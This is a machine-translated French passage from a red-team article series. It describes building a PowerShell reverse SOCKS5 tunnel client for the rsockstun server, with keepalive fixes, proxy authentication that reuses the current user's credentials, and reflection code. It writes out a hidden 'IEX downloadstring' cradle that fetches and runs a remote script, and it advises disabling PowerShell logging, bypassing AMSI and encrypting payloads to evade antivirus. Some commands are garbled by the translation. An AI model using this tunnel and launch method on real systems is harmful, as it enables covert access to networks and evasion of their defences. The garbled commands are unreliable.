Nous écrivons le proxy Reverse socks5 sur PowerShell. Partie 3

L'histoire de la recherche et du développement en 3 parties. La partie 3 est pratique.
Il existe de nombreux hêtres - encore plus d'avantages

Les articles précédents du cycle peuvent être trouvés ici et ici =)

Vérification de bataille


Testons maintenant le fonctionnement de notre script en pratique. Pour ce faire, essayez de lancer le tunnel inverse de la machine virtuelle (Windows 7 .net 4.7) vers le VPS Linux sur Digital Ocean, puis, en l'utilisant, nous reviendrons sur Win7. Dans ce cas, nous simulons une situation où Windows 7 est la machine du client, Linux VPS est notre serveur.

Sur VPS (dans notre cas Ubuntu 18.04), nous installons et configurons la partie serveur de RsocksTun:

  • définir le golang: apt install golang
  • prendre les sources de rsockstun de gita:
    git clone github.com/mis-team/rsockstun.git / opt / rstun
  • installer les dépendances:
    allez chercher github.com/hashicorp/yamux
    allez chercher github.com/armon/go-socks5
    allez sur github.com/ThomsonReutersEikon/go-ntlm/ntlm
  • compiler selon le manuel: cd / opt / rstun; va construire
  • générer un certificat SSL:
    openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
  • on démarre la partie serveur:



  • Nous commençons notre script sur le client, en lui indiquant le serveur à connecter, le port et le mot de passe:



  • utiliser le port surélevé du serveur Socks5 pour aller à mail.ru



Comme vous pouvez le voir sur les captures d'écran, notre script fonctionne. Nous étions heureux, nous avons érigé mentalement un monument pour nous-mêmes et avons décidé que tout était parfait. Mais ...

Gestion des erreurs


Mais tout n'est pas aussi fluide que nous le souhaiterions ...

Pendant le fonctionnement du script, un moment désagréable a été découvert: si le script fonctionne via une connexion pas très rapide au serveur, l'erreur indiquée dans la figure ci-dessous peut se produire lors du transfert de données volumineuses



Après avoir étudié cette erreur, nous voyons que lorsque nous recevons un message keepalive (alors que les données sont toujours transmises au serveur), nous essayons d'écrire simultanément une réponse à keepalive sur le socket, ce qui provoque une erreur.

Pour corriger la situation, nous devons attendre la fin du transfert de données, puis envoyer une réponse à keepalive. Mais ici, un autre problème peut survenir: si un message keepalive arrive en ce moment entre l'envoi d'un en-tête de 12 octets et l'envoi de données, alors nous détruirons la structure du paquet ymx. Par conséquent, une solution plus correcte serait de transférer toutes les fonctionnalités d'envoi de données à l'intérieur de yamuxScript, qui traite les événements pour l'envoi séquentiel et il n'y aura pas de telles situations.

En même temps, pour demander à yamuxScript d'envoyer des réponses keepalive, nous pouvons utiliser notre ArrayList StopFlag [0] partagé - l'index zéro n'est pas utilisé, car la numérotation des flux yamux commence par 1. Dans cet index, nous passerons dans yamuxScript la valeur ping reçue dans le message keepalive. Par défaut, la valeur sera -1, ce qui signifie qu'aucune transmission n'est nécessaire. YamuxScript vérifiera cette valeur, et s'il s'agit de 0 (le premier ping keepalive = 0) ou plus, alors envoyez la valeur transmise à la réponse keepalive:

if ($StopFlag[0] -ge 0){ #got yamux keepalive. we have to reply $outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0] $state.tcpstream.Write($outbuf,0,12) $state.tcpstream.flush() $StopFlag[0] = -1 } 

Nous devons également exclure l'envoi dans le thread principal du programme d'une réponse à l'indicateur YMX SYN.

Pour ce faire, nous devons également transférer cette fonctionnalité à l'intérieur de yamuxScript, mais comme le serveur yamux ne nécessite pas d'envoyer de réponse à YMX SYN et commence immédiatement à envoyer des données, nous désactivons simplement l'envoi de ce paquet et c'est tout:

 #$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00) #$tcpstream.Write($outbuf,0,12) 

Après cela, le transfert de gros morceaux de données fonctionne très bien.

Prise en charge du proxy


Réfléchissons maintenant à la façon dont nous pouvons faire fonctionner notre client via un serveur proxy.

Commençons par les bases. En théorie, le proxy http (à savoir, les proxy http fonctionnent dans la plupart des réseaux d'entreprise) est conçu pour fonctionner avec le protocole HTTP, et il semble que http ne sent pas le nôtre. Mais dans la nature, en plus de http, il y a aussi https et votre navigateur peut parfaitement se connecter aux sites https via http normal - non?

La raison en est le mode de fonctionnement spécial du serveur proxy - le mode CONNECT. Ainsi, si le navigateur souhaite se connecter au serveur gmail via https via un serveur proxy, il envoie une demande CONNECT au serveur proxy, qui indique l'hôte et le port de destination.

 CONNECT gmail.com:443 HTTP/1.1 Host: gmail.com:443 Proxy-Connection: Keep-Alive 

Après une connexion réussie au serveur gmail, le proxy renvoie une réponse 200 OK.

 HTTP/1.1 200 OK 

Après cela, toutes les données du navigateur sont directement transmises au serveur et vice versa. En termes simples, un proxy connecte directement deux sockets réseau l'une à l'autre - une socket de navigateur et une socket de serveur gmail. Après cela, le navigateur commence à établir une connexion SSL avec le serveur Gmail et à travailler directement avec lui.

En transférant ce qui précède à notre client, nous devons d'abord établir une connexion avec le serveur proxy, envoyer un paquet http indiquant la méthode CONNECT et l'adresse de notre serveur yamux, attendre une réponse avec le code 200, puis procéder à l'établissement d'une connexion SSL.

En principe, il n'y a rien de particulièrement compliqué. C'est ainsi que le mécanisme de connexion via le serveur proxy est implémenté dans le client golang rsockstun.

Les principales difficultés commencent lorsque le serveur proxy nécessite une autorisation ntlm ou kerberos lors de la connexion à lui-même.

Dans ce cas, le serveur proxy renvoie le code 407 et l'en-tête http ntlm sous forme de chaîne base64

 HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA= Date: Tue, 28 May 2019 14:06:15 GMT Content-Length: 0 

Pour une autorisation réussie, nous devons décoder cette ligne, en supprimer les paramètres (tels que ntlm-challenge, nom de domaine). Ensuite, en utilisant ces données, ainsi que le nom d'utilisateur et son hachage ntlm, nous devons générer une réponse ntlm, la recoder en base64 et la renvoyer au serveur proxy.

 CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive + UpsHCJmpIGttOj1VN + 5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA == CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive 

Mais ce n'est pas si mal. Le fait est que lorsque nous exécutons le script, nous ne connaissons ni le nom de l'utilisateur actuel ni son hachage de mot de passe ntlm. Ainsi, pour l'autorisation sur le serveur proxy, nous devons trouver le nom d'utilisateur / passe ailleurs.

Théoriquement, nous pouvons implémenter cette fonctionnalité dans un script (à partir de la définition manuelle des paramètres d'authentification, comme cela est fait dans le client GoLang, et se terminant par l'utilisation d'un vidage de mémoire de processus LSASS, comme cela est fait dans mimikatz), mais notre script deviendra alors d'une taille et d'une complexité incroyables, en particulier que ces sujets dépassent le cadre de cet article.

Nous avons pensé et décidé que nous irions dans l'autre sens ...

Au lieu de faire une autorisation manuellement, nous utiliserons la fonctionnalité intégrée pour travailler avec un serveur proxy de la classe HTTPWebRequest. Mais dans ce cas, nous devrons changer le code de notre serveur RsocksTun - après tout, lorsqu'il reçoit une demande du client, il n'attend qu'une ligne avec un mot de passe et il recevra une demande HTTP complète. En principe, la modification du côté serveur de rsoskstun n'est pas si difficile. Il suffit de décider dans quelle partie de la demande http nous transmettrons le mot de passe (par exemple, ce sera l'en-tête http XAuth) et d'implémenter la fonctionnalité de traitement de la demande http, de vérifier notre en-tête avec un mot de passe et d'envoyer une réponse http de retour (200 OK). Nous avons ajouté cette fonctionnalité à une branche distincte du projet RSocksTun.

Après avoir modifié la partie Golang du RSocksTun (serveur et client), nous commencerons à ajouter la fonctionnalité de travailler avec un serveur proxy à notre script. Le code le plus simple pour la classe HttpWebRequest pour la connexion à un serveur Web via un proxy ressemble à ceci:

 [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443") $request.Method = "GET" $request.Headers.Add("Xauth","password") $proxy = new-object system.net.webproxy('http://127.0.0.1:8080'); $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $request.Proxy = $proxy try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit} 

Dans ce cas, nous créons une instance de la classe HttpWebRequest, définissons les propriétés Proxy et Credentials, ajoutons l'en-tête http XAuth personnalisé. En conséquence, notre demande aux serveurs Google passera par le serveur proxy 127.0.0.1:8080. Si le proxy demande une autorisation, Windows lui-même "récupérera" les crédits de l'utilisateur actuel et insérera les en-têtes http correspondants.

Au lieu de spécifier un serveur proxy manuellement, nous pouvons utiliser les paramètres système du serveur proxy:

 $proxy = [System.Net.WebRequest]::GetSystemWebProxy() 

Donc, après nous être connectés via un serveur proxy à notre serveur rsockstun et avoir reçu une réponse HTTP avec le code 200, nous devons faire une petite astuce, à savoir, à partir de la classe HTTPWebRequest, obtenir un objet de flux pour la lecture / écriture comme $ tcpConnection.getStream (). Nous le faisons à travers le mécanisme d'inspection de réflexion .Net (pour ceux qui veulent comprendre ce mécanisme plus en détail, partagez le lien ). Cela nous permet d'accéder aux méthodes et propriétés des classes sous-jacentes:

 #--------------------------------------------------------------------------------- # Reflection inspection to retrieve and reuse the underlying networkStream instance $responseStream = $serverResponse.GetResponseStream() $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance" $rsType = $responseStream.GetType() $connectionProperty = $rsType.GetProperty("Connection", $BindingFlags) $connection = $connectionProperty.GetValue($responseStream, $null) $connectionType = $connection.GetType() $networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags) $tcpStream = $networkStreamProperty.GetValue($connection, $null) 

Ainsi, nous avons obtenu le même flux de socket, qui est connecté par le serveur proxy à notre serveur yamux et avec lequel nous pouvons effectuer des opérations de lecture / écriture.

Un autre point que nous devons prendre en considération est le mécanisme de surveillance de l'état de la connexion. Comme nous travaillons via le serveur proxy et la classe HTTPWebRequest, nous n'avons pas la propriété $ tcpConnection.Connected et nous devons surveiller l'état de la connexion d'une manière ou d'une autre. Nous pouvons le faire via un indicateur $ connected distinct, il est défini sur $ true après avoir reçu le code 200 du serveur proxy et est réinitialisé sur $ false lorsqu'une exception se produit lors de la lecture à partir du socket-stream:

 try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;} if ($num -eq 0 ) {$connected=$false; break;} 

Sinon, notre code reste inchangé.

Lancement en ligne


En règle générale, toutes les personnes sensées exécutent des scripts similaires à partir de fichiers PS1, mais parfois (et en fait - presque toujours) dans le processus de pentest / redtime, il est nécessaire d'exécuter des modules à partir de la ligne de commande sans rien écrire sur le disque, afin de ne laisser aucune trace . De plus, powershell vous permet de le faire via la ligne de commande:

 powershell.exe –c <powershell code> powershell.exe –e <base64 powershell code> 

Cependant, il ne faut pas vraiment se détendre par rapport au secret du lancement et de l'exécution des commandes. Parce que, premièrement, tout le code PowerShell est enregistré à l'aide des outils Windows standard dans les journaux d'événements correspondants (Windows PowerShell et Microsoft-Windows-PowerShell / Operational), et deuxièmement, tout le code exécuté dans PowerShell passe par le mécanisme AMSI ( Interface de scan anti-malware). Une autre chose est que ces deux mécanismes sont parfaitement coûteux avec des actions simples. La désactivation des magazines et le contournement de AMSI est un sujet de discussion distinct et nous en parlerons dans de futurs articles ou dans notre chaîne. Mais maintenant, parlons d'autre chose.

Le fait est que notre script a atteint des tailles assez impressionnantes et il est clair qu'il ne rentrera dans aucune ligne de commande (la limite de cmd dans Windows est de 8191 caractères). Par conséquent, nous devons trouver un moyen d'exécuter notre script sans l'écrire sur le disque. Et ici, les méthodes standard utilisées par les logiciels malveillants nous aident depuis près de 15 ans maintenant. En bref, la règle est simple - téléchargez et exécutez. L'essentiel est de ne pas le mélanger =)
La commande de téléchargement et de lancement ressemble à ceci:

 powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))" 

Vous pouvez trouver encore plus d'options de lancement en ligne sur le git HarmJ0y 'I' s:

Bien sûr, avant de télécharger, vous devez prendre soin de désactiver les journaux et de contourner ou de désactiver AMSI. Le script lui-même doit être chiffré avant le téléchargement, car pendant le processus de téléchargement, il sera naturellement vérifié de haut en bas par votre (ou non votre =)) antivirus, et avant de commencer, il sera déchiffré en conséquence. Comment faire cela - vous, le lecteur devrait déjà le trouver vous-même. Cela dépasse le cadre de ce sujet. Mais nous connaissons un spécialiste sympa dans ce domaine - le tout-puissant Google. Il existe de nombreux exemples de chiffrement et de déchiffrement sur le réseau, ainsi que des exemples de contournement d'AMSI.

Conclusion à toutes les parties


Dans le processus, nous avons présenté au lecteur la technologie des «tunnels inverses» et leur utilisation pour les pentests, montré plusieurs exemples de tels tunnels et parlé des avantages et des inconvénients de leur utilisation.

Nous avons également réussi à créer un client PowerShell sur le serveur RsocksTun avec la capacité:

  • Connexions SSL
  • autorisation sur le serveur;
  • travailler avec yamux-server avec le support des pings keepalive;
  • mode de fonctionnement multithread;
  • prendre en charge le travail via un serveur proxy avec autorisation.

Vous pouvez trouver tout le code rsockstun (golang et powershell) dans la branche correspondante sur notre github. La branche principale est conçue pour fonctionner sans serveur proxy, et la branche via_proxy est conçue pour fonctionner via des proxy et HTTP.

Nous serons heureux d'entendre vos commentaires et suggestions sur l'amélioration du code et l'applicabilité du développement dans la pratique.

Ceci termine le cycle de nos articles de tunneling inverse. Nous espérons vraiment que vous êtes intéressé à nous lire et que les informations sont utiles.

Source: https://habr.com/ru/post/fr454254/


All Articles